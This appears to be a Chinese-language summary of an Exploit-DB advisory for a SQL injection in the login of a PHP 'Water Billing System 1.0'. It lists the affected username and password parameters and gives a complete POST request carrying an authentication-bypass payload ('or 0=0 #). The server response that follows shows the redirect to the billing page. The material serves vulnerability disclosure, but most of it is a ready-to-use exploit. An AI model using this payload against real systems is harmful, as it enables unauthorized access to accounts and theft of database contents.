关键信息 漏洞标题: Water Billing System 1.0 - 'username' and 'password' parameters SQL Injection EDB-ID: 49032 CVE: N/A 作者: Sarang Tumne 类型: WebApps 平台: PHP 日期: 2020-11-12 漏洞验证: 未验证 漏洞应用: Water Billing System 1.0 漏洞描述 漏洞类型: SQL Injection 影响参数: 'username' 和 'password' 攻击者可以运行SQL命令: 提取整个数据库，在高级利用下，可以运行任意代码，从而危害系统。 测试环境: Windows Server 2016- XAMPP 厂商链接: https://www.sourcecodester.com/php/14560/water-billing-system-phpmysql-full-source-code.html 请求示例: - POST /wbs/process.php HTTP/1.1 - Host: 192.168.56.102:8080 - Content-Length: 45 - Cache-Control: max-age=0 - Upgrade-Insecure-Requests: 1 - Origin: http://192.168.56.102:8080 - Content-Type: application/x-www-form-urlencoded - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 - Referer: http://192.168.56.102:8080/wbs/ - Accept-Encoding: gzip, deflate - Accept-Language: en-US,en;q=0.9 - Connection: close - username='%20or%200%3d0%20#&password=password 响应示例: - HTTP/1.1 200 OK - Date: Mon, 02 Nov 2020 04:30:51 GMT - Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.2.30 - X-Powered-By: PHP/7.2.30 - Set-Cookie: PHPSESSID=4q8t10sshr36he7sl19hb563a0; path=/ - Expires: Thu, 19 Nov 1981 08:52:00 GMT - Cache-Control: no-store, no-cache, must-revalidate - Pragma: no-cache - Content-Length: 48 - Connection: close - Content-Type: text/html; charset=UTF-8 - windows: location="billing.php"